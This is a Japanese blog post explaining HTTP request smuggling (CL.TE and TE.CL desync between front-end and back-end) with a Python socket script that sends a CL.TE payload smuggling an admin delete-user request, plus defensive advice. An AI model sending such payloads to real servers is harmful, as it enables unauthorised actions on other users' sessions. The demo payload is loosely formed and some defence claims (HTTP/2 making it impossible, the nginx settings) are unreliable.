HTTP Request Smuggling:境界線の「解釈のズレ」が生むネットワークの暗部
ネットワークエンジニアとして現場に立っていると、「なぜかリクエストが混ざる」「特定のユーザーのセッションが入れ替わる」といった、ログだけでは到底追えない不可解な事象に遭遇することがあります。その多くは、L7レベルでの「解釈の不一致」が原因です。
今回掘り下げるのは、HTTP Request Smuggling(リクエスト・スマグリング)。これは単なる脆弱性の枠を超え、HTTP/1.1という枯れたプロトコルが持つ「曖昧さ」を突いた、現代のWebインフラを震撼させる攻撃手法です。
—
1. なぜ「境界」は曖昧になるのか?
HTTP/1.1では、一つのTCPコネクションを再利用して複数のリクエストを連続して送る「Keep-Alive」が標準です。ここで、フロントエンド(リバースプロキシやロードバランサー)とバックエンド(Webサーバー)の間で、「どこまでが一つのリクエストか」という認識がズレると、大惨事が起きます。
この境界線を決めるのが、以下の二つのヘッダーです。
- Content-Length (CL): ボディのサイズをバイト数で指定する。
- Transfer-Encoding (TE): `chunked` を指定すると、チャンク形式でデータを区切る。
攻撃の肝は、フロントエンドとバックエンドで、どちらのヘッダーを優先して解釈するかという優先順位の「食い違い」にあります。
—
2. 攻撃のメカニズム:CL.TE と TE.CL
HTTP Request Smugglingは、主に以下の二つのパターンに分類されます。
CL.TE(フロントエンドがCLを重視、バックエンドがTEを重視)
1. フロントエンドは `Content-Length` を見て、ボディ全体を一つのリクエストとしてバックエンドへ転送します。
2. しかしバックエンドは `Transfer-Encoding: chunked` を見て、チャンクの終わりを示す `0` という文字が来るまでを一つのリクエストと見なします。
3. この結果、バックエンドが読み取らなかった残りのデータが、次のリクエストの「先頭」としてバッファに残り、後続のユーザーのリクエストを汚染(smuggling)します。
TE.CL(逆のパターン)
こちらはフロントエンドが `Transfer-Encoding` を理解し、バックエンドが `Content-Length` を信じる場合に発生します。バックエンドがリクエストを早く切り上げてしまうため、残ったデータが次のリクエストの「一部」として誤認されます。
—
3. 実践:攻撃のデモンストレーション
実際に検証する際は、以下のように生のリクエストを操作します。ここではPythonの `requests` や `curl` ではヘッダーの制御が難しいため、ソケット通信で直接投げるのが定石です。
import socket
ターゲットサーバーの設定
target_host = “vulnerable-site.com”
target_port = 80
攻撃用ペイロード(CL.TEの例)
フロントエンドは139バイト読み取るが、バックエンドはチャンクの0で終了とみなす
payload = (
“POST / HTTP/1.1\r\n”
“Host: vulnerable-site.com\r\n”
“Content-Length: 139\r\n”
“Transfer-Encoding: chunked\r\n”
“\r\n”
“0\r\n”
“\r\n”
“SMUGGLED-REQUEST: /admin/delete-user?id=123 HTTP/1.1\r\n” # これが次のリクエストの頭にくっつく
“Host: localhost\r\n”
“\r\n”
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((target_host, target_port))
s.sendall(payload.encode())
response = s.recv(4096)
print(response.decode())
—
4. なぜこれが防げないのか?(運用の現場から)
現代のクラウドインフラでは、WAF(Web Application Firewall)がリクエストを検査しますが、WAFとバックエンドサーバーの間でさらに解釈のズレが生じることがあります。
実務で講じるべき防御策
1. HTTP/2の強制: HTTP/2以降はリクエストの境界がフレーム単位で厳格に定義されているため、この種のアタックは原理的に不可能です。可能な限りエンドツーエンドでHTTP/2以上に切り替えましょう。
2. 正規化の徹底: フロントエンドとバックエンドで同一のサーバーソフトウェア、あるいは同一のライブラリ(同じパーサー)を使用するように統一します。
3. ヘッダーの排除: プロキシ側で `Transfer-Encoding` や `Content-Length` が重複しているリクエストを破棄(拒否)する設定を入れます。
Nginxの設定例(推奨):
重複ヘッダーを拒否し、厳格なパースを行う設定
underscores_in_headers off;
ignore_invalid_headers on;
可能な限りHTTP/1.1の曖昧さを排除する設定
また、バックエンドへの接続にはHTTP/1.1ではなくHTTP/2を利用することを検討してください
—
5. 最後に:エンジニアとしての心構え
HTTP Request Smugglingは、プロトコルの仕様を「信じすぎない」ことから始まります。リクエストがネットワークを駆け巡るとき、途中の機器がどう解釈するか。その想像力が、インフラエンジニアの真価を問います。
もしトラブルシューティング中に「なぜかレスポンスが混ざる」という現象に出会ったら、パケットキャプチャで `Content-Length` と `Transfer-Encoding` を凝視してください。そこには、教科書には載っていない「リアルなHTTPの姿」が隠れているはずです。
常に疑い、検証し、そしてプロトコルの仕様を深く理解する。これこそが、堅牢なシステムを構築するための唯一の道です。
コメント